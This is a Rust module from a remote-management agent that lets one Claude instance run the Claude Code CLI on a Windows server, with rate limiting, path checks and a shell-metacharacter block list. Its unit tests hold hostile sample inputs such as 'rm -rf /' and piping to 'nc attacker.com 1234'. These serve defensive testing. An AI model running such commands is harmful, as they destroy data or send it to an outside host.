claudetools/projects/gururmm-agent/agent/src/claude.rs

// GuruRMM Agent - Claude Code Integration Module
// Enables Main Claude to invoke Claude Code CLI on AD2 for automated tasks
//
// Security Features:
// - Working directory validation (restricted to C:\Shares\test)
// - Task input sanitization (prevents command injection)
// - Rate limiting (max 10 tasks per hour)
// - Concurrent execution limiting (max 2 simultaneous tasks)

use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use std::process::Stdio;
use std::sync::{Arc, Mutex};
use std::time::{Duration, Instant};
use tokio::io::{AsyncBufReadExt, BufReader};
use tokio::process::Command;
use tokio::time::timeout;

/// Configuration constants
const DEFAULT_WORKING_DIR: &str = r"C:\Shares\test";
const DEFAULT_TIMEOUT_SECS: u64 = 300; // 5 minutes
const MAX_CONCURRENT_TASKS: usize = 2;
const RATE_LIMIT_WINDOW_SECS: u64 = 3600; // 1 hour
const MAX_TASKS_PER_WINDOW: usize = 10;

/// Claude task command input structure
#[derive(Debug, Deserialize)]
pub struct ClaudeTaskCommand {
    pub task: String,
    pub working_directory: Option<String>,
    pub timeout: Option<u64>,
    pub context_files: Option<Vec<String>>,
}

/// Claude task execution result
#[derive(Debug, Serialize)]
pub struct ClaudeTaskResult {
    pub status: TaskStatus,
    pub output: Option<String>,
    pub error: Option<String>,
    pub duration_seconds: u64,
    pub files_analyzed: Vec<String>,
}

/// Task execution status
#[derive(Debug, Serialize)]
#[serde(rename_all = "lowercase")]
pub enum TaskStatus {
    Completed,
    Failed,
    Timeout,
}

/// Rate limiting tracker
struct RateLimiter {
    task_timestamps: Vec<Instant>,
}

impl RateLimiter {
    fn new() -> Self {
        RateLimiter {
            task_timestamps: Vec::new(),
        }
    }

    /// Check if a new task can be executed within rate limits
    fn can_execute(&mut self) -> bool {
        let now = Instant::now();
        let window_start = now - Duration::from_secs(RATE_LIMIT_WINDOW_SECS);

        // Remove timestamps outside the current window
        self.task_timestamps.retain(|&ts| ts > window_start);

        self.task_timestamps.len() < MAX_TASKS_PER_WINDOW
    }

    /// Record a task execution
    fn record_execution(&mut self) {
        self.task_timestamps.push(Instant::now());
    }
}

/// Global state for concurrent execution tracking and rate limiting
pub struct ClaudeExecutor {
    active_tasks: Arc<Mutex<usize>>,
    rate_limiter: Arc<Mutex<RateLimiter>>,
}

impl ClaudeExecutor {
    pub fn new() -> Self {
        ClaudeExecutor {
            active_tasks: Arc::new(Mutex::new(0)),
            rate_limiter: Arc::new(Mutex::new(RateLimiter::new())),
        }
    }

    /// Execute a Claude Code task
    pub async fn execute_task(
        &self,
        cmd: ClaudeTaskCommand,
    ) -> Result<ClaudeTaskResult, String> {
        // Check rate limiting
        {
            let mut limiter = self.rate_limiter.lock().map_err(|e| {
                format!("[ERROR] Failed to acquire rate limiter lock: {}", e)
            })?;

            if !limiter.can_execute() {
                return Err(format!(
                    "[ERROR] Rate limit exceeded: Maximum {} tasks per hour",
                    MAX_TASKS_PER_WINDOW
                ));
            }
            limiter.record_execution();
        }

        // Check concurrent execution limit
        {
            let active = self.active_tasks.lock().map_err(|e| {
                format!("[ERROR] Failed to acquire active tasks lock: {}", e)
            })?;

            if *active >= MAX_CONCURRENT_TASKS {
                return Err(format!(
                    "[ERROR] Concurrent task limit exceeded: Maximum {} tasks",
                    MAX_CONCURRENT_TASKS
                ));
            }
        }

        // Increment active task count
        {
            let mut active = self.active_tasks.lock().map_err(|e| {
                format!("[ERROR] Failed to increment active tasks: {}", e)
            })?;
            *active += 1;
        }

        // Execute the task (ensure active count is decremented on completion)
        let result = self.execute_task_internal(cmd).await;

        // Decrement active task count
        {
            let mut active = self.active_tasks.lock().map_err(|e| {
                format!("[ERROR] Failed to decrement active tasks: {}", e)
            })?;
            *active = active.saturating_sub(1);
        }

        result
    }

    /// Internal task execution implementation
    async fn execute_task_internal(
        &self,
        cmd: ClaudeTaskCommand,
    ) -> Result<ClaudeTaskResult, String> {
        let start_time = Instant::now();

        // Validate and resolve working directory
        let working_dir = cmd
            .working_directory
            .as_deref()
            .unwrap_or(DEFAULT_WORKING_DIR);
        validate_working_directory(working_dir)?;

        // Sanitize task input
        let sanitized_task = sanitize_task_input(&cmd.task)?;

        // Resolve context files (validate they exist relative to working_dir)
        let context_files = match &cmd.context_files {
            Some(files) => validate_context_files(working_dir, files)?,
            None => Vec::new(),
        };

        // Build Claude Code CLI command
        let mut cli_cmd = Command::new("claude");
        cli_cmd.current_dir(working_dir);

        // Add context files if provided
        for file in &context_files {
            cli_cmd.arg("--file").arg(file);
        }

        // Add the task prompt
        cli_cmd.arg("--prompt").arg(&sanitized_task);

        // Configure process pipes
        cli_cmd
            .stdout(Stdio::piped())
            .stderr(Stdio::piped())
            .kill_on_drop(true);

        // Execute with timeout
        let timeout_duration = Duration::from_secs(cmd.timeout.unwrap_or(DEFAULT_TIMEOUT_SECS));
        let exec_result = timeout(timeout_duration, execute_with_output(cli_cmd)).await;

        let duration = start_time.elapsed().as_secs();

        // Process execution result
        match exec_result {
            Ok(Ok((stdout, stderr, exit_code))) => {
                if exit_code == 0 {
                    Ok(ClaudeTaskResult {
                        status: TaskStatus::Completed,
                        output: Some(stdout),
                        error: None,
                        duration_seconds: duration,
                        files_analyzed: context_files,
                    })
                } else {
                    Ok(ClaudeTaskResult {
                        status: TaskStatus::Failed,
                        output: Some(stdout),
                        error: Some(format!(
                            "[ERROR] Claude Code exited with code {}: {}",
                            exit_code, stderr
                        )),
                        duration_seconds: duration,
                        files_analyzed: context_files,
                    })
                }
            }
            Ok(Err(e)) => Ok(ClaudeTaskResult {
                status: TaskStatus::Failed,
                output: None,
                error: Some(format!("[ERROR] Failed to execute Claude Code: {}", e)),
                duration_seconds: duration,
                files_analyzed: context_files,
            }),
            Err(_) => Ok(ClaudeTaskResult {
                status: TaskStatus::Timeout,
                output: None,
                error: Some(format!(
                    "[ERROR] Claude Code execution timed out after {} seconds",
                    timeout_duration.as_secs()
                )),
                duration_seconds: duration,
                files_analyzed: context_files,
            }),
        }
    }
}

/// Validate that working directory is within allowed paths
fn validate_working_directory(working_dir: &str) -> Result<(), String> {
    let allowed_base = Path::new(r"C:\Shares\test");
    let requested_path = Path::new(working_dir);

    // Convert to canonical paths (resolve .. and symlinks)
    let canonical_requested = requested_path
        .canonicalize()
        .map_err(|e| format!("[ERROR] Invalid working directory '{}': {}", working_dir, e))?;

    let canonical_base = allowed_base.canonicalize().map_err(|e| {
        format!(
            "[ERROR] Failed to resolve allowed base directory: {}",
            e
        )
    })?;

    // Check if requested path is within allowed base
    if !canonical_requested.starts_with(&canonical_base) {
        return Err(format!(
            "[ERROR] Working directory '{}' is outside allowed path 'C:\\Shares\\test'",
            working_dir
        ));
    }

    // Verify directory exists
    if !canonical_requested.is_dir() {
        return Err(format!(
            "[ERROR] Working directory '{}' does not exist or is not a directory",
            working_dir
        ));
    }

    Ok(())
}

/// Sanitize task input to prevent command injection
fn sanitize_task_input(task: &str) -> Result<String, String> {
    // Check for empty task
    if task.trim().is_empty() {
        return Err("[ERROR] Task cannot be empty".to_string());
    }

    // Check for excessively long tasks (potential DoS)
    if task.len() > 10000 {
        return Err("[ERROR] Task exceeds maximum length of 10000 characters".to_string());
    }

    // Check for potentially dangerous patterns
    let dangerous_patterns = [
        "&", "|", ";", "`", "$", "(", ")", "<", ">", "\n", "\r",
    ];
    for pattern in &dangerous_patterns {
        if task.contains(pattern) {
            return Err(format!(
                "[ERROR] Task contains forbidden character '{}' that could be used for command injection",
                pattern
            ));
        }
    }

    Ok(task.to_string())
}

/// Validate context files exist and are within working directory
fn validate_context_files(working_dir: &str, files: &[String]) -> Result<Vec<String>, String> {
    let working_path = Path::new(working_dir);
    let mut validated_files = Vec::new();

    for file in files {
        // Resolve file path relative to working directory
        let file_path = if Path::new(file).is_absolute() {
            PathBuf::from(file)
        } else {
            working_path.join(file)
        };

        // Verify file exists
        if !file_path.exists() {
            return Err(format!(
                "[ERROR] Context file '{}' does not exist",
                file_path.display()
            ));
        }

        // Verify it's a file (not a directory)
        if !file_path.is_file() {
            return Err(format!(
                "[ERROR] Context file '{}' is not a file",
                file_path.display()
            ));
        }

        // Store the absolute path for execution
        validated_files.push(
            file_path
                .to_str()
                .ok_or_else(|| {
                    format!(
                        "[ERROR] Context file path '{}' contains invalid UTF-8",
                        file_path.display()
                    )
                })?
                .to_string(),
        );
    }

    Ok(validated_files)
}

/// Execute command and capture stdout, stderr, and exit code
async fn execute_with_output(mut cmd: Command) -> Result<(String, String, i32), String> {
    let mut child = cmd
        .spawn()
        .map_err(|e| format!("[ERROR] Failed to spawn Claude Code process: {}", e))?;

    // Capture stdout
    let stdout_handle = child.stdout.take().ok_or_else(|| {
        "[ERROR] Failed to capture stdout from Claude Code process".to_string()
    })?;
    let mut stdout_reader = BufReader::new(stdout_handle).lines();

    // Capture stderr
    let stderr_handle = child.stderr.take().ok_or_else(|| {
        "[ERROR] Failed to capture stderr from Claude Code process".to_string()
    })?;
    let mut stderr_reader = BufReader::new(stderr_handle).lines();

    // Read output asynchronously
    let mut stdout_lines = Vec::new();
    let mut stderr_lines = Vec::new();

    // Read stdout
    let stdout_task = tokio::spawn(async move {
        let mut lines = Vec::new();
        while let Ok(Some(line)) = stdout_reader.next_line().await {
            lines.push(line);
        }
        lines
    });

    // Read stderr
    let stderr_task = tokio::spawn(async move {
        let mut lines = Vec::new();
        while let Ok(Some(line)) = stderr_reader.next_line().await {
            lines.push(line);
        }
        lines
    });

    // Wait for process to complete
    let status = child
        .wait()
        .await
        .map_err(|e| format!("[ERROR] Failed to wait for Claude Code process: {}", e))?;

    // Wait for output reading tasks
    stdout_lines = stdout_task
        .await
        .map_err(|e| format!("[ERROR] Failed to read stdout: {}", e))?;
    stderr_lines = stderr_task
        .await
        .map_err(|e| format!("[ERROR] Failed to read stderr: {}", e))?;

    let stdout = stdout_lines.join("\n");
    let stderr = stderr_lines.join("\n");
    let exit_code = status.code().unwrap_or(-1);

    Ok((stdout, stderr, exit_code))
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn test_sanitize_task_input_valid() {
        let task = "Check the sync log for errors in last 24 hours";
        assert!(sanitize_task_input(task).is_ok());
    }

    #[test]
    fn test_sanitize_task_input_empty() {
        assert!(sanitize_task_input("").is_err());
        assert!(sanitize_task_input("   ").is_err());
    }

    #[test]
    fn test_sanitize_task_input_injection() {
        assert!(sanitize_task_input("task; rm -rf /").is_err());
        assert!(sanitize_task_input("task && echo malicious").is_err());
        assert!(sanitize_task_input("task | nc attacker.com 1234").is_err());
        assert!(sanitize_task_input("task `whoami`").is_err());
        assert!(sanitize_task_input("task $(malicious)").is_err());
    }

    #[test]
    fn test_sanitize_task_input_too_long() {
        let long_task = "a".repeat(10001);
        assert!(sanitize_task_input(&long_task).is_err());
    }

    #[test]
    fn test_rate_limiter_allows_under_limit() {
        let mut limiter = RateLimiter::new();
        for _ in 0..MAX_TASKS_PER_WINDOW {
            assert!(limiter.can_execute());
            limiter.record_execution();
        }
        assert!(!limiter.can_execute());
    }
}